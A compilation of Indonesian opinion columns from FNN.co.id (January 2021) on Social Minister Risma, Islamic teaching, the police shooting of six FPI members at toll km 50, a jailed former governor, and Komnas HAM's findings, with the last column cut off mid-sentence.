Bu Mensos Sampai Berjumpa di Kampung 1001 Malam

by Hersubeno Arief Jakarta, FNN - Ahad (10/01). Sebuah video dengan judul blusukan Bu Menteri Sosial (Mensos), viral di media sosial (medsos). Video itu dicuplik dari liputan wartawan TV One Biro Surabaya. Dia wartawan itu tengah mengunjungi sebuah perkampungan di bawah tol jembatan di Surabaya. Nama kampung itu sangat unik dan menarik. Kampung 1001 malam. Jangan bayangkan situasi kampung itu seperti istana dalam dongeng yang berasal dari Timur Tengah. Hanya namanya saja yang sama dengan judul dongeng sastra epik tersebut. Kampung 1001 malam ini terletak di Kelurahan Dupak, Kecamatan Krembangan, Surabaya Utara. Dulu…eh maksudnya beberapa waktu lalu. Lebih tepatnya kurang dari satu bulan yang lalu, wilayah ini masuk dalam kawasan yang dipimpin seorang Walikota bernama Tri Rismaharini. Yups…benar. Beliau adalah Mensos yang kini sedang asyik blusukan di beberapa titik kota Jakarta. Bertemu pemulung, pengemis, dan gelandangan. Dia menawarkan rumah, menawarkan pekerjaan, dan penghidupan yang layak. Janji-janji indah. Happily ever after. Sebuah kehidupan yang selama ini, barangkali dalam mimpi pun tak berani dibayangkan oleh mereka. Kembali ke kampung 1001 malam tadi. Nama “indah” itu muncul karena sepanjang hari, baik siang ataupun malam, suasananya sama saja. Gelap karena kurangnya pencahayaan. Tidak semua rumah berada di kolong jembatan tol. Sebagian warga tinggal di lahan terbuka, di bantaran Sungai Kalianak. Semua pemukiman tersebut statusnya tanah negara. Hak kuasa tanah-tanah itu adalah PT Jasa Marga yang mengelola jalan tol. Untuk sampai ke kawasan yang terbuka itu kita harus melewati kolong jalan tol yang gelap. Warga menamakannya “terowongan mina.” Untuk dapat melewati terowongan ini, perilaku Anda harus “sopan.” Anda harus jalan setengah menunduk. Kolong jembatan sangat rendah. Luar biasa. Mereka itu rakyat Indonesia, khususnya warga Surabaya. Mereka tetap tak kehilangan daya humornya, walau harus hidup dengan suasana yang memprihatinkan. Imajinasi mereka luar biasa. 1001 malam, dan terowongan Mina. Semua tempat itu pasti hanya hidup dalam angan-angan mereka. (Luput dari perhatian) Kembali ke liputan reporter TV One. Dia bertemu dengan Ketua RT setempat bernama Sigit Santoso alias Pak Mamik. Menurut Pak Mamik, di bawah kolong jembatan ada 16 KK. Sementara di bantaran sungai ada 170 KK. Mereka tinggal di kawasan itu sudah lebih 20 tahun. Kondisi kehidupan mereka sangat memprihatinkan. Selain gelap kawasan itu sering banjir. Mereka harus mengungsikan benda-benda berharga ke pinggir jalan tol ketika banjir tiba. Menurut pengakuan Pak Mamik, sampai saat ini belum pernah ada bantuan dari Pemkot Surabaya. Satu dua kali, diakuinya memang sudah pernah ada pejabat yang menjenguknya. Lalu bagaimana dengan walikota (dulu) Risma? Berdasarkan pengakuan, ibu Walikota belum pernah menjenguk. Situasi kontras ini lah tampaknya yang membuat wartawan di Surabaya kembali berbondong-bondong mengunjungi Kampung 1001 malam. Mereka menampilkan situasi paradoks ini. Hanya dalam beberapa hari menjadi Mensos dan tinggal di Jakarta, Risma bisa langsung menemukan puluhan tuna wisma dan gelandangan. Panti Rehabiltasi Pangudi Luhur di Bekasi langsung penuh dengan gelandangan, pemulung dan pengemis. Sebagian dilatih kerja, dan sebagian disalurkan menjadi “karyawan” di BUMN. Sementara di Surabaya Risma menjadi walikota selama dua periode. Sebelumnya puluhan tahun mengabdi menjadi Aparatur Sipil Negara (ASN) di Pemkot Surabaya. Namun ok bisa-bisanya Risma “tidak tahu” ada ratusan warganya yang masih tinggal di kolong jembatan? Padahal profesi mereka juga sama. Pengamen, pemulung, dan pengemis. Sebagian membuka warung kecil-kecilan. Mudah-mudahan saja Bu Risma tidak sedang mengidap “rabun dekat.” Hanya bisa melihat gelandangan yang berada jauh di Jakarta. Sebaiknya Bu Risma kalau ada waktu pulang ke Surabaya. Namun jangan lupa mampir ke Kampung 1001 malam ya. Mereka ini juga masuk dalam ruang lingkup kerja Anda sebagai Mensos. Masih jadi tanggung jawab Anda. Anda kan bukan Kepala Suku Dinas Sosial Jakarta Pusat. Tetapi Mensos RI lho. Sampai jumpa di Kampung 1001 malam Bu Risma……..End Penulis adalah Wartawan Senior FNN.co.id.

Islam Dan Keseimbangan Hidup

by Shamsi Ali New York City FNN – Ahad (10/01). Islam memang unik dan Istimewa. Dari sudut mana saja kita bahas akan menarik, dan membuat hati kita semakin jatuh cinta dan bangga. Hal itu dikarenakan, salah satunya, kesempurnaan ajarannya. Bahwa Islam itu bersifat “syaamil, kaamil wa mutakaamil”. Kata “Syamil” itu bermakna meliputi segala hal. Dalam artian bahwa Islam itu mencakup segala lini kehidupan manusia. Tidak akan ada aspek hidup lain, kecuali Islam sejatinya hadir untuk menjadi petunjuk (guidance). “Kamil” berarti sempurna (complete). Artinya, Islam itu pada dirinya memang tidak lagi menyisakan sesuatu yang tidak ada. Semua aspek ajaran Tuhan itu sejatinya ada terangkum semuanya dalam ajaran Islam. Tinggal manusia tertantang untuk menggalinya saja. Sementara “mutakaamil” berarti saling menyempurnakan. Kesempurnaan Islam pada segala aspek kehidupan manusia tidak berdiri sendiri, dan terpisah antara satu dengan lainnya. Antara aspek ketuhanan (akidah) misalnya, tidak terpisah dari aspek sosial (kemanusiaan). Keunikan ajaran Islam itu sekali lagi, selain memang mencakup seluruh lini hidup secara paripurna, juga memiliki keseimbangan yang alami. Bahkan keseimbangan ini menjadi salah satu kekuatan Islam dalam membangun kehidupan manusia yang stabil dan solid. Kita lihat misalnya, bagaimana Islam menjaga keseimbangan itu dalam segala aspek kehidupan manusia. Pertama, Islam menjaga keseimbangan hidup manusia dalam aspek relasi vertikal dan relasi horizontal (hablun minallah wa hablun minan naas). Dalam Surah 3 ayat 112 disebutkan bahwa manusia akan mengalami kehinaan dimana pun kecuali jika menjaga relasi secara baik dengan Allah (hablun minallah), dan dengan manusia (hablun minannas). Implementasi ayat ini terlihat dalam ragam ayat Al-Quran yang memerintahkan menjaga kekokohan iman kepada Allah. Tapi juga berbagai ayat yang memerintahkan menjaga kebaikan kepada sesama manusia. Bahkan dengan alam sekitar. Hadits-hadits Rasul juga penuh dengan peringatan untuk membangun iman kepada Allah tanpa melupakan kewajiban kepada sesama. Bahkan tidak jarang iman itu dipersyaratkan dengan kebaikan sosial (horizontal). Salah satunya, “tidak beriman di antara kalian sampai tetangga ya selamat dari perkatakan dan perbuatan buruknya”. Kedua, dalam Islam hidup manusia juga mencakup aspek ritual dan aspek sosial (ubudiyah dan mu’amalat). Mungkin tidak berlebihan, jika dikatakan bahwa aspek ubudiyah dalam Islam tidak akan menjadi sempurna kecuali terimplementasikan secara moral dalam kehidupan sosial. Misalnya, nampak dalam ibadah puasa, “barangsiapa yang tidak meninggalkan perkataan dan perbuatan buruk, maka tidak ada hajat bagi Allah untuk orang itu tinggalkan makan dan minumnya”. Ibadah ritual tanpa kebaikan sosial akan berakhir kepada kesia-siaan. Atau mungkin lebih dikenal dalam sebuah hadits dengan kebangkrutan (hadits Ulil muflis). Artinya, ibadah ritual yang tidak terbukti dalam moralitas prilaku sosial akan menjadikan pelakunya justeru bangkrut di akhirat dan masuk neraka. Ketiga, Islam juga memandang hidup manusia pada aspek rohani dan jasmani (ruhiyah wa jasadiyah). Penciptaan manusia dari tanah seperti yang digambarkan dalam Al-Quran “min turaab” atau “min thin” menunjukkan bahwa hidup manusia tidak mungkin bisa dipisahkan dari aspek material. Manusia perlu dan harus makan serta memenuhi segala kebutuhan materi dan jasadnya. Manusia juga bukan makhluk material (jasad) semata. Manusia adalah makhluk spiritual yang bertengger pada wujud material. Dalam bahasa yang biasa saya diekspresikan, “spiritual being in a physical body”. Wujud ruhiyah dalam wujud jasad. Karenanya setelah Allah menciptakan manusia secara sempurna dalam wujud jasad, Allah meniupkan ruh-Nya (nafakha fiihi min ruuhiHi). Maka sejak itu manusia secara esensi menjadi makhluk spiritual dalam wujud jasad (material). Islam juga mewajibkan manusia untuk memenuhi kedua aspek hidupnya itu secara maksimal dan imbang. “Dan jika sholat telah ditunaikan, maka bertebaranlah kamu di atas bumi dan carilah rezeki Allah. Dan ingatkah Allah banyak-banyak, semoga kamu sukses” (Al-Jumu’ah). Keempat, hidup manusia juga di lengkapi dengan dua prasarana dasar. Yaitu hati dan akal (qalb wa aql). Dalam Islam, manusia hanya akan hidup secara aman, nyaman dan stabil ketika hidupnya terbangun di atas kekuatan akal dan ketajaman batin (hati). Manusia yang kuat dalam akal (Ilmu dan pemikiran) dan tajam secara batin/hati akan membentuk karakter manusia hebat yang disebut “Ulul albaab”. Itulah yang digambarkan dalam Surah Al-Imran, “Sesungguhnya pada penciptaan langit dan bumi dan pergantian siang dan malam adalah tanda-tanda (kebesaran Allah) bagi mereka yang Ulul albaab. Yaitu, mereka yang mengingat Allah dalam keadaan berdiri, duduk maupun berbaring. Serta memikirkan ciptaan Allah di langit dan di bumi”. Manusia yang kuat secara akal tanpa hati boleh jadi akan menjadi penipu. Tetapi manusia yang tajam hati, tetapi lemah akal boleh jadi juga akan tertipu. Maka karakter orang beriman adalah “tidak menipu dan tak akan mudah tertipu”. Kelima, akhirnya Islam juga mencakup hidup manusia dalam aspek orientasi kebahagiaan atau kesuksesan dunia dan akhirat (ad-dunya way akhirah). Dalam Islam hidup manusia itu harus berorientasi kepada kesuksesan dan kebahagiaan. Islam tidak melihat dunia ini sebagai tempat untuk menderita, lemah, termarjinalkan dan terbelakang. Tetapi tempat untuk kuat, maju, sukses dan menang. Walaupun tentunya defenisi itu tidak selalu material oriented (orientasi materi). Tetapi bagaimanapun bentuk hidup itu, bagi seorang mukmin, hudup adalah kesuksesan dan kebahagiaan. Ayat-ayat Al-Quran itu penuh dengan motivasi, bahkan perintah kesuksesan. “Mereka itu adalah orang-orang yang berada di jalan hidayah dari Tuhan mereka dan mereka adalah orang-orang yang sukses”. (Al-Baqarah). “Sungguh beruntung/sukses orang-orang yang beriman” (Al-Mukminun). Disinilah kemudian Islam hadir untuk meyakinkan bahwa kesuksesan dan kebahagiaan hidup harus secara sempurna dan imbang. Ajaran Islam inilah yang kemudian diekspresikan dalam doa sapu jagad Umat, “Rabbana atina fid dunya hasanah wa fil akhirati hasanah wa qinaa adzaban naar”. Maka beruntunglah kita dengan Islam. Berbahagialah kita dengan Islam. Dan harusnya kita semakin bangga dengan Islam kita. Semoga, amin. Penulis adalah Ulama dan Presiden Nusantara Foundation di New York

Mengapa CCTV Kilometer 50 Tol Japek Dihapus?

Jakarta FNN – Ahad (10/01). Dalam dunia kejahatan, para pelaku kita ketahui sering membuang atau memusnahkan apa pun, yang terkait tindak dan jejak kejahatannya. Upaya itu dimaksudkan untuk 'menghitamkan' tindak kekurangajaran yang mereka lakukan. Tak terkecuali barang apa pun, yang dicurigai kemudian bisa menjadi alat bukti. Jejak perbuatan yang kemungkinan menjadi alat bukti, akan dibikin lenyap pelaku. Supaya tidak ketahuan kesalahannya. Itu cara paling dasar yang dianggap efektif sebagai upaya menghilangkan jejak. Jika barang bukti itu berwujud benda (barang mati), maka pelenyapannya bisa dengan cara membuang ke mana saja. Bisa ke sumur, sungai atau laut bebas. Bahkan ada yang dengan membakar. Bisa pula menyembunyikannya. Atau dengan seribu satu cara berdosa lainnya. Disebut sebagai petunjuk atau alat bukti, itu jika berupa barang mati. Lantas bagaimana cara melenyapkannya bila 'alat bukti' tersebut berupa manusia hidup? Saksi mata yang melihat, yang mendengar dan mengalami sendiri? Tidak ada cara lain, kecuali nyawa “alat bukti” itu lah yang musti dan perlu dilenyapkan pelaku. Supaya tidak bisa menjadi saksi mata. Kemudian masalahnya menjadi aman. Karena tidak ada yang melihat, mendengar dan merasakan sendiri kejadian itu. Setelah titu berjalan meninggalkan lokasi kejadian. Setelah sebelumnya menebas-nebaskan kedua telapak tangannya, sebagai tanda “saksi sudah beres atau aman”. Seperti yang kita sering dengar, baca dan tonton di siaran berita. Tak sedikit pelaku pencurian misalnya, yang tega membunuh korban (pemilik rumah) hanya gara-gara memergoki aksi pencuriannya. Membunuh korban, bagi pencuri, itu bukan target utama. Bukan juga sasaran utama. Hanya semacam “batu lompatan”, agar korban tidak dapat berfungsi sebagai saksi mata yang melihat, mendengar dan menyaksikan sendiri kejadian pencurian. Sebab sangat membahayakan “keselamatan” pelaku. Semua itu manakala yang melakukan kejahatan itu adalah warga sipil biasa. Lantas bagaimana jika yang bertindak sebagai pelaku kejahatan tersebut adalah aparatur negara? Anggota Polri misalnya? Tentu saja lebih rapi. Sebab Polri merupakan supra struktur negara. Institusi tersebut punya otoritas. Disitulah publik memahami, bahwa segala apa yang dilakukan Polri, akan dianggap sebagai wewenangnya. Akan tetapi ada filosofi bahwa “tidak ada kejahatan yang dapat dilakukan dengan sempurna”. Sekalipun yang melakukannya itu adalah “pemilik hukum”. Ungkapan itu sudah populer di masyarakat. Tidak ada yang tidak paham ungkapan tersebut. Dalam bahasa jawa, yang kerap dituturkan para orang tua sebagai materi wejangan moral untuk anak anaknya, “becik ketitik, olo ketoro”. Mengutip pernyataan yang pernah disampaikan Kriminolog dan Pengamat Kepolisian, Profesor Adrianus Meliala, di acara talk show sebuah televisi swasta beberapa tahun silam, bahwa psikologis polisi dan bandit itu tidak beda jauh. Itu memberi arti, bahwa siapa saja bisa melakukan tindakan yang salah dan tercela. Termasuk Polri, TNI atau PNS. Siapapun itu bisa saja terjadi. Sekedar contoh, rekayasa tindak kejahatan yang dilakukan anggota Polri, meski serai apapun akhirnya ketahuan juga. Misalnya, sebanyak delapan anggota Satserse Narkoba Polres Padang Sidempuan merekayasa ganja seberat 327 kilogram hasil rampasan dari Daftar Pencarian Orang (DPO), namun yang dilaporkan ke atasannya sebagai barang temuan di areal perkebunan PTPN III (Viva.co.id, 30/12/2020) Padahal ganja tersebut nyata-nyata bukan hasil temuan. Melainkan hasil rampasan dari DPO. Namun dilaporkan sebagai hasil penemuan. Karena delapan anggota polisi tersebut ingin melindungi pemilik asli ganja tersebut, yang memang sudah terjadi kesepakatan sebelumnya dengan pemilik ganja. Terkait kasus di Kilometer 50 Tol Jakarta-Cikapmpak (Japek), yang menurut detik.com edisi 08/01/21, Komisi Nasional Hak Asasi Manusia (Komnas HAM) mengungkapkan, saksi mata penembakan oleh polisi terhadap enam anggota FPI hingga gugur semuanya, mendengar perintah polisi agar menghapus hasil rekaman CCTV di areal tempat kejadian. Selain itu, menurut Portalislam.id edisi 19/12/2020, yang mengutip hasil investigasi Tempo.com, semua hand phone milik masyarakat yang berada di sekitar lokasi rest area kilometer 50 (tempat penembekan) diperiksa oleh polisi. Itu dimaksudkan guna memastikan, pada telepon seluler masing-masing warga tidak boleh ada foto, video, tulisan atau apa pun yang dapat mengarah terbongkarnya peristiwa sebenarnya. Setelah itu, semua warga masyarakat yang akhirnya berkerumun di rest area tersebut, setelah adanya penembakan, diusir polisi. Masyarakat juga diwanti-wanti supaya tutup mulut. Warga di sekitar lokasi itu, jangan omong apa-apa tentang kejadian tersebut. Meminjam terminologi pengendara sepeda motor yang tidak membawa SIM C dan STNK Motornya. Sang pengendara harus berbalik arah, lantaran takut adanya operasi kelengkapan surat-surat bermotor yang sedang dilakukan oleh Polantas. Bagi sang pengendara motor, mengapa harus takut dan putar arah, jika tidak merasa bersalah. Mengapa mesti begini dan begitu, manakala dirinya sudah beres berkendara SIM C dan STNK asli? Begitu juga polisi. Mengapa polisi memerintahkan menghapus CCTV milik warga sekilar lokasi kejadian. Begitu juga vidoe, foto dan tulisan di lepepon seluler milik warga. Mengapa mengoreksi privasi warga, dengan merazia seluruh telepon seluler? Mengapa meminta warga tutup mulut? Toh yang dilakukan polisi di kilometer 50 itu, semuanya sudah sesuai stantar dan prosedur yang yang terukur kan? Publik negeri ini tentu saja belom lupa dengan kejadian “Buku Merah” di Komisi Pemberantasan Korupsi (KPK) yang melibatkan dua tiga Perwira Menengah (Pamen) Polisi Roland Renaldy, Harun dan Rufyanto Maulana Yusuf. Mereka bertiga terlibat menghapus (tipp ex) buku yang disita KPK dari kantornya Basuki Hariman terkait skandal suap uji materi UU Peternakan dan Kesehatan Hewan. Pada catatan pengeluaran kekuangan Basuki Hariman tersebut, tercatat adanya aliran uang ke sejumlah pejabat negara. Diduga salah satunya adalah mantan Kapolti Tito Karnavian, sekarang Menteri Dalam Negeri (Mendagri). Namum catatan Basuki Hariman itu terjadi ketika Tito Karnavian masih menjabat sebagai Kapolda Metro Jaya. Perbuatan Roland dan Harun (tipp ex) “Buku Merah” tersebut terekam dengan jelas di CCTV di ruang Kolaborasi lantai 9 gedung KPK pada tanggal 7 April 2017, menjelang pukul 20.00 WIB. Pertanyaan yang mengelitik adalah, sepenting apa apa sampai Roland dan Harun perlu tipp ex halaman-halaman dalam Buku Merah? Toh, Tito Karnavian hampir dipastikan tidak terlibat ini. Begitu pula yang terjadi dengan skandal pendapingan dan pengawalan Perwira Tinggi (Pati) Polri kepada Djoko Tjandra (Joker). Peristiwa ini menyeret tiga Pati Polri, yaitu Irjen Pol. Napoleon Bonaparte, Brigjen Pol. Prasetijo Oetomo dan Brigjen Pol. Nugroho Slamet Wibowo. Bahkan Napolen dan Prasetijo kini telah duduk di kursi terdakwa. Nah, pada gilirannya yang seharusnya dibubarkan itu yang membunuh, atau yang dibunuh? Yang harusnya dihukum maling ayamnya (pelaku), atau pemilik ayamnya (korban). Teramat sulit rasanya memisahkan antara kasus kilometer 50 tol Japek (6 anggota FPI gugur ditembak polisi, Senin 7/12), dengan pembubaran Ormas FPI oleh SKB 6 petinggi negara di ujung tahun lalu. Ini seperti omongan klasik “buruk muka, namun cerminnya yang dihancurkan”. Padahal yang salah adalah tampangnya sendiri yang memang jelek. Tampak yang tidak menarik. Namun karena merasa tidak terima mukanya “dijelek jelekin” oleh cermin, jadilah cerminnya yang dibanting, dan hancur. Sikap yang umumnya dilakukan oleh preman ini, baik itu premanisme maunpun banditisme sangat membahayakan cermin-cermin yang lain. Sebab cermin-cermin yang lain kemungkina juga akan mengalami hal yang sama, yaitu terancam dihancurkan.

Pembunuhan 6 Laskar FPI, Apa Sebab Mereka Bertindak Sadis?

by Asyari Usman Medan, FNN - Minggu (10/01). Beberapa hari lalu, saya berbincang dengan seorang psikolog di Medan, Bu Irna Minauli. Dia adalah seorang pengajar psikologi di beberapa universitas. Selain itu, beliau juga mengelola klinik konsultasi psikologi. Kami membahas tentang mengapa orang tega membunuh orang lain, dan mengapa tega membunuh dengan sadis? Mengapa orang ringan tangan menembak mati orang lain? Apakah faktor perbedaan ideologi atau kepercayaan bisa membangkitkan ‘semangat’ seseorang untuk menghabisi orang lain? Banyak lagi aspek yang saya tanyakan kepada Bu Irna. Bincang-bincang ini menjadikan penembakan mati 6 anggota FPI sebagai latar belakang. Ini kami buat sebagai “talking point” karena pembunuhan itu dinilai sangat sadis. Secara umum, Irna mengatakan orang bisa dengan ‘enteng’ membunuh orang lain dengan sadis karena sudah punya ‘bakat’ sejak kecil. Sejak kecil dia senang melihat pihak lain tersiksa. Contohnya, semasa anak-anak, orang itu suka melihat kucing berjalan tertatih-tatih setelah kaki hewan itu dia pukul sampai patah. Dia senang melihat burung kesulitan terbang setelah sayapnya dia patahkan. Bisa juga orang ringan tangan membunuh karena dia merasa sedang berhadapan dengan musuh ideologisnya. Atau, musuh keyakinannya. Baik itu keyakinan relijius maupun keyakinan komunal. Artinya, menurut Bu Irna, sangat mungkin pelaku pembunuhan 6 pemuda FPI itu adalah orang-orang yang tidak seideologi atau tidak sekeyakinan dengan korban. Tetapi, kata Irna, tidak sedikit orang membunuh orang-orang yang sekeyakinan dengan mereka. Misalnya, dalam banyak peristiwa kekerasan yang bermotif perampokan, pencurian atau pertengkaran biasa. Dalam hal ini, kata Irna, orang yang melakukan pembunuhan kemungkinan tidak mengetahui ideologi atau keyakinan korbannya. Atau karena mereka tidak peduli siapa korbannya dan apa keyakinan korban. Karena motifnya memang jelas bukan perbedaan ideologi atau keyakinan. Mereka mau merampok, mencuri atau membegal. Dalam kasus pembunuhan 6 pemuda FPI, peristiwa ini bukan perampokan, bukan pembegalan, dan bukan pertengkaran antargeng. Juga bukan tindak kekerasan biasa, kata Irna. Ditambahkan oleh Irna, faktor lain yang bisa membuat orang ringan melakukan pembunuhan adalah pengaruh zat yang membangkitkan semangat. Para pembunuh menjadi “boosted”. Sering disebut “sedang naik” atau “sedang tinggi”. Atau bisa juga sistem pendidikan atau pelatihan yang diterima sehingga melihat orang lain sebagai ancaman. Pembunuhan 6 pemuda FPI memiliki banyak sisi. Ada bau politiknya, ada bercak-bercak SARA, dan ada terlihat sketsa dendam institusional, ujar Irna menambahkan. Inilah yang diceritakan oleh foto-foto korban yang dirilis oleh FPI dan viral di media sosial. Foto-foto itu merekam dengan jelas tindakan sadis yang dilakukan terhadap mereka. Kemungkinan lain adalah dendam kesumat. Orang yang tega membunuh dengan senjata api atau senjata lain bisa jadi melampiaskan ketegaannya karena sudah lama menyimpan ketidaksukaan kepada korban. Bisa dendam pribadi atau dendam kelompok, ujar praktisi psikologi yang aktif sebagai pembicara dan narasumber. Lebih-kurang begitulah ringkasan bincang-bincang dengan Irna Minauli. Saya kemudian mencari sumber lain yang bisa menjelaskan mengapa orang menjadi mudah membunuh orang lain. Dalam buku “The Pity of War” (London, 1998), Niall Ferguson (University of Chicago) menjelaskan bahwa bagi banyak orang, pertempuran bukanlah pengalaman yang buruk. Sebaliknya, menyenangkan dan mengasyikkan justru karena pertempuran itu penuh bahaya. Ada rasa girang bisa membunuh orang, kata Ferguson. Pembunuhan 6 pemuda FPI itu bisa dilihat dalam perspektif ini. Boleh jadi para pembunuh itu “menikmati” momen-momen ketika mereka menarik pelatuk senpi dan melepaskan tembakan. Para penembak merasa senang melepaskan peluru ke tubuh para korban. Sementara itu, Joanna Bourke dalam buku “An Intimate History of Killing” (London, 1999) menyimpulkan bahwa latihan kemiliteran berperan dalam mengubah watak seseorang dari semula menentang pembunuhan menjadi menikmatinya. Ada “intense feeling of pleasure” (rasa sangat senang), kata Bourke. Dia mencermati surat korespondensi, catatan harian, memoar dan laporan-laporan para veteran tiga perang, yaitu Perang Dunia Pertama, Perang Dunia Kedua, dan Perang Vietnam. Bourke mendapati bahwa orang-orang yang digembleng sebagai prajurit tempur akan merasa membunuh orang sebagai hal yang enteng. Berdasarkan perasaan ‘enteng’ ini, Bourke menyimpulkan kalau ada orang yang telah digembleng dalam dinas kelimiteran merasa gelisah setelah membunuh, maka prajurit seperti ini masuk dalam kelompok “aberrant group” (kelompok yang menyimpang). Dari kajian Bourke ini, tidak keliru kalau dikatakan bahwa para pembunuh (penembak) 6 pemuda FPI itu tidak masuk ke “aberrant group”. Dalam arti, para pembunuh itu adalah orang-orang yang memiliki “kesempurnaan personalitas” sebagai manusia-manusia yang telah dilatih untuk membunuh. Mereka tidak canggung mengokang senjata dan melepaskan tembakan. Mereka berhasil menyisihkan perasaan berat hati membunuh orang lain. Sebaliknya, mereka sepenuhnya telah menjadi pribadi-pribadi yang merasa ringan (at ease) membunuh orang lain.[] Penulis adalah Wartawan Senior FNN.co.id.

Terpenjara di Alam Bebas

by Hasan Syukur Jakarta FNN – Sabtu (09/01). Aku punya teman pernah menjabat gubernur. Sebut saja dengan Pak Pulan. Menjadi Gubernur di luar Pulau Jawa. Diganjar hukuman penjara selama 10 tahun denda Rp 10 miliard. bukan main lamanya. Pak Pulan terpidana korupsi. Karena teman, aku tak peduli dengan statusnya sebagai terpidana. Sekali teman, tetap saja teman. Bagiku hukum adalah urusan atau tugasnya petugas hukum kepada siapapun yang telah dijatuhi vonis. Apalagi telah memiliki kekuatan hukum tetap. Tetapi hukum tidak menghalangi jalinan silaturahmi. koridor silaturahim aku jaga terbuka sepanjang hayat. Bukankah pintu surga tertutup bagi orang yang memutus silaturahim? Pak Pulan bagiku tetap saja teman. Nasibnya saja membuatnya harus mendekam di penjara. Tepatnya di penjara Sukamiskin, Kota Bandung. Lapas (Lembaga Pemasyarakaran) ini diperuntukkan untuk narapidana dengan hukuman minimal 10 tahun penjara. Untuk itu, temanku Pak Pulan, disanalah mendekam. Bayanganku mendekam sepuluh tahun di dalam penjara, pastiah sangat menderita lahir maupun batin. Terisolasi dari sahabat dan terasing dari keluarga. Badanya bakalan kurus kering. Sebab dulu ketika masih pejabat, selalu dilingkungi oleh para ponggawa. Selalu dihormati para sahabat. Sekarang tidak seorang ponggawa atau sahabat yang peduli lagi dengan Pak Pulan. Pasti Pak Pulan kesepian. Sebab tak seorangpun yang menemui beliau di penjara. Kecuali aku dan keluarganya. Beginilah nasib orang dihukum penjara karena korupsi. Suatu hari aku datang berkunjung ke Lapas Sukamiskin Bandung. Aku memang datang untuk sekedar bersilaturahim dengan Pak Pulan. Begitu bertemu, kami saling brangkulan melepas kangen. "Eeh Fulan kelihatan badannya sehat, wajahnya tetap ceria seperti ketika di luar Lapas. Apa karena anda rajin olahraga? tanya aku kepadanya. Jawaban Pak Pulan benar-benar di luar duggaanku. “Aku kira anda di penjara ini sangat menderita", kataku lagi. Dan diluar dugaanku, Pak Pulan malah merasa bebas hidup di dalam penjara. Selanjutnya Pak Pulan berceritera tentang keadaan dirinya selama di penjara. Kenapa kok orang hidup dipenjara justru merasa bebas. Penjahat diluar penjara malah merasa terpenjara. "Terus terang saya sampai saat ini tidak merasa bersalah" kata Pak Pulan. Kalau saya bersalah. Penjara ini sudah penuh dengan pejabat-pejabat yang menyetujui kebijakan saya. Mulai dari para Kepala Dinas, Para Bupati, anggota DPRD Provinsi sampai dengan Menteri Dalam Negeri (Mendagri). “Kan disamping disetujui oleh para Bupati dan para anggota DPRD Provinsi, urusan Anggaran Belanja Daerah (APD) juga harus disahkan oleh Mendagri. Tetapi yang dihukum cuma saya? Karena itu saya tidak merasa bersalah. Sebab tak serupiahpun ung yang saya makan", kata Pak Pulan bersemangat ". Fisik saya memang terpenjara. Tetapi jiwaku tetap merasa bebas. Itulah sebabnya kau lihat aku sehat dan ceria. Tidak ada beban dan tekanan psikologis selama di dalam penjara. Semuanya dijalani dengan senang hati. Makanya, kata Pak Pulan lagi, saya sehat-sehat saja. Pak Pulan bilang, tidak sedikit para preman bandit korptor yang hidup di luar penjara. Dan kelihatannya mereka bebas. Tapi yakinlah San, Jiwa mereka terpenjara. Hati nuraninyalah yang selalu mendakwa. Akibatnya, tidur tak nyenyak makan juga tak enak. “Mereka merasa dihantui oleh nuraninya sendiri. Ujung-ujungnya stres dan selesai", tutur Pak Pulan. Aku tersentak juga oleh penututan temanku itu. Aku pikit benar juga. Aku jadi teringat seorang penulis Napoleon Hill, penulis buku "Think and Rich". Ia mengutip hasil sebuah riset, bahwa diantara empat tempat tidur pasien di rumah sakit, tiga diantaranya karena penyakit hati. Doktrin dibalik badan yang sehat terdapat jiwa yang sehat. Seharusnya diubah di dalam hati yang sehat terdapat badan yang sehat. Penulis adalah Pengurus KB PII.

"Terima Kasih" Komnas HAM untuk Dua Rekomendasi Berbahaya Itu

by Asyari Usman Medan FNN - Sabtu (09/01). Kecewa dengan Komnas HAM? Tunggu dulu. Kesimpulan mereka tentang pembunuhan 6 laskar FPI yang diuraikan kemarin (8/1/2021), perlu dibaca dengan cermat. Harus sabar. Termasuk sabar membaca tulisan yang agak panjang ini. Tidak mudah melakukan penyelidikan tindak kekerasan. Apalagi tindak kekerasan itu dilakukan oleh orang-orang Kepolisian sendiri. Pastilah banyak tantangan. Mungkin juga rintangan. Inilah yang dihadapi Komisi Nasional Hak Asasi Manusia (Komnas HAM). Mereka sedang “apes”, terpaksa menyelidiki tindak kekerasan yang dilakukan oleh Polisi. Bisa Anda bayangkan kesulitan yang harus dihadapi Komnas. Karena itu, wajarlah disampaikan “terima kasih” bertanda kutip kepada Komnas HAM yang telah merampungkan penyelidikan atas pembunuhan 6 anggota FPI yang terjadi pada 7 Desember 2020. Apresiasi pantas disampaikan meskipun banyak yang kecewa. Publik menuntut agar Komnas menyatakan pembunuhan 6 laskar itu sebagai pelanggaran HAM berat. Tapi, Komnas hanya menyebutnya “pelanggaran HAM” saja. Tanpa kata “berat”. Karena tidak ringan menambahkan kata “berat” itu. Sebab, yang mempelototi Komnas dalam kasus ini adalah orang-orang kelas berat semua. Mereka, Tim Komnas, pasti ingin bekerja maksimal. Tetapi, dalam situasi dan kondisi Indonesia yang sedang mempraktikkan kekuasaan otoriter saat ini, Komnas HAM tentu saja ikut kecipratan dampaknya. Dampak itu antara lain adalah tekanan eksternal dan kegamangan internal. Kita tidak perlu pengakuan atau bantahan orang Komnas tentang tekanan dan kegamangan itu. Cukup dikatakan bahwa semua orang paham apa yang terjadi. Di bawah kekuasaan otoriter ini, Komnas harus menunjukkan harga dirinya. Manunjukkan mereka mandiri. Bahwa mereka independen sesuai mandat UU yang memayungi mereka. Sayangnya, semua ini hanya sebatas legal-formal belaka. Tidak di level praktikal. Untuk waktu ini, independensi maksimal Komnas HAM adalah kesimpulan bahwa pembunuhan 4 (empat) laskar FPI merupakan “unlawful killing” (pembunuhan tak berdasar hukum). Sedangkan pembunuhan terhadap 2 (dua) laskar lainnya dianggap sebagai korban kontak tembak. Kematian mereka dianggap ok. Komnas ‘tak berdaya’ menyatakan pembunuhan yang 2 orang itu pun “unlawful killing” juga. Mungkin karena mereka ini ditemukan tewas di dalam mobil yang mereka kendarai. Sehingga, apa kata polisi dianggap lebih meyakinkan bagi Komnas ketimbang apa kata intuisi dan akal sehat. Polisi mengatakan yang dua itu tewas karena tembak-menembak. Komnas pun percaya karena Kapolda Metro Irjen Fadil Imran sudah “terlanjur” mempertontonkan senjata api (pistol) yang dia katakan adalah milik para anggota FPI. Tetapi, Komnas mencari jalan lain untuk menolak narasi “tembak-menembak” itu. Dalam poin ke-3 dari rekomendasi 4 poin kasus pembunuhan 6 laskar itu, Komnas meminta agar kepemilikan senjata api (senpi) FPI diusut 